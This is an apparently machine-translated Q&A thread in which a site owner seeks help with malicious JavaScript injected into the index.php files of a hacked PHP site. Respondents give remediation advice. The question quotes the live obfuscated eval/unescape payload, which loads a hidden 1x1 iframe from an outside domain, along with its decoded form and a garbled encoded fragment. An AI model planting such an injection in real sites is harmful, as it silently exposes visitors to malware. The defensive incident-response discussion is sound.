Php 需要帮助识别放在我被黑客攻击的网站上的恶意JavaScript代码吗

我的网站的index.php文件受到以下脚本的影响。正因为如此，谷歌已经禁止我访问。有人告诉我这是什么样的攻击，有什么解决办法吗

<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%70%6F%64%66%65%72%2E%63%6F%6D%2F%3F%35%30%36%36%37%31%38%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->

（6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%7%7%72%72%69%7%69%7%7%7%7%28%28%28%28%28%28%27%6%6%6%6%6%6%6%6%6%6%6%7%7%7%7%7%72%72%72%72%72%72%72%72%7%69%7%69%69%7%69%7%69%7%69%7%69%7%7%69%7%7%7%69%7%7%7%7%7%7%69%7%7%7%7%69%7%69%7%69%7%69%7%7%7%7%7%7%7%7%7%7%7%7%7%7%7%69%7%69%7%69%7%69%69%(65%3E%27%29);； FWIW，上述未编码版本为

eval(document.write('<iframe src="http://podfer.com/?5066718" width=1 height=1></iframe>'));

eval（document.write（“”））；

谢谢和问候

tismon听起来像这样：

从您发布的有限信息来看，我几乎可以保证您在该站点上运行某种开源软件——可能不在受影响的确切站点上，但可能在服务器上有一些……而且也不可能符合当前标准。我在phpBB、Joomla（尤其是Joomla）phpMyAdmin和Wordpress中看到过这种情况。这几乎是一种可怕的普遍现象，99%的情况远没有许多人想象的那么复杂。我在Mambo的一个非常旧的测试安装上遇到了这种情况，在与phpBB的一个流氓安装一起工作时，It人员偷偷地在服务器上与他们的梦幻足球联盟进行通信

事实是，黑客很懒惰。除非你得到了他们真正想要的东西，否则他们没有理由单独攻击你……这不值得他们花时间。但是，如果您正在运行一段具有可利用代码库的公共代码，他们可以随机扫描站点以查找该代码，当他们发现漏洞时，会自动进行攻击。因此，代码的内容和位置几乎始终相同

停车场…贴上一个“在建”页面。把你的代码拉下来，用手工或自动的方式擦洗它。现在停下来！更新所有开放源代码，无论它可能是多么新。现在对权限、SQL查询（尤其是未转义的搜索框）和用户权限系统进行健全性检查。运行脚本注入测试。最后，一旦一切尽你所能，测试，测试，测试。最后，我认为这可能与问题无关，请更改您的密码并使用良好的密码策略来保护它

---

祝你好运。小心

bpeterson76所说的，但也：

如果您确实没有在系统上运行任何通用软件，我会首先检查您自己的脚本，特别是如果您在任何地方对文件系统进行任何写入。但它也可能是过时的服务器软件，如apache或其他暴露安全漏洞的软件。这不太可能是SQL注入，因为数据已添加到文件中

根据您的主机，要么更新所有服务器软件，要么询问您的主机提供商

---

你有日志吗？仔细看一看可能会发现这个洞。如果您使用的是共享主机，在某些设置中，如果您的文件权限允许，其他客户可以写入您的文件。

不久前，我的网站实际上遭到了类似的攻击。首先，检查web根目录下的文件夹中是否有以函数命名的php文件。我的是opendir、iswritable等。你应该在这些文件中看到更多base64编码的脚本。如果你不这样做，这可能是无关的。无论如何，podfer.com的who.is记录中有一些信息。联系该网站的托管公司，告诉他们正在发起CSS攻击，他们应该毫不费事地关闭他。我找到了那个对我有影响的黑客

---

另外，如果您正在使用Mosso/rackspace，您应该进入并加强您的文件权限。

Oops！只要在我的浏览器Firebug Javascript控制台中运行它，我的计算机就可以单独玩俄罗斯方块：~）@ring0这是dedication@tismon这只是像任何恶意软件一样将iframe插入站点的代码。需要更多信息。您是否正在运行wordpress或类似软件？不，它是我自己在php 4和oracle中设计的，而且，我的根文件夹下的所有index.php文件都受到此脚本的影响。有时您的软件可能被黑客攻击，有时您的主机可能被黑客攻击（由攻击apache、IIS等的远程用户，甚至是在同一主机上拥有帐户的其他本地用户）。在不了解您的软件细节的情况下，我们无法帮助您解决问题。PHP 4强烈建议您通常需要重写它-此时，PHP 4应该不再使用。它非常过时，而且据我所知，配置了不安全的默认值。如果您的Web主机不支持PHP 5，我建议您寻找一个新主机。@Alexander Sagen，@ring0非常感谢您的回复。我目前正在检查所有页面并手动删除脚本。这与开源无关。IIS和IE的不稳定历史表明，封闭源代码软件同样容易受到各种攻击。Alex，没错。只是似乎对开源的打击更大，因为我们唯一的办法就是实现社区做得很好的补丁程序。但我敢打赌，在我所知道的15个开源网站中（由朋友、同事、熟人运营）最近只有10个应用了必要的补丁来保证安全…这在我的书中是一个很大的问题。特别是对于微软和IE来说，IE6从未被归类为“间谍软件”是一个奇迹，因为它有很多漏洞。。。。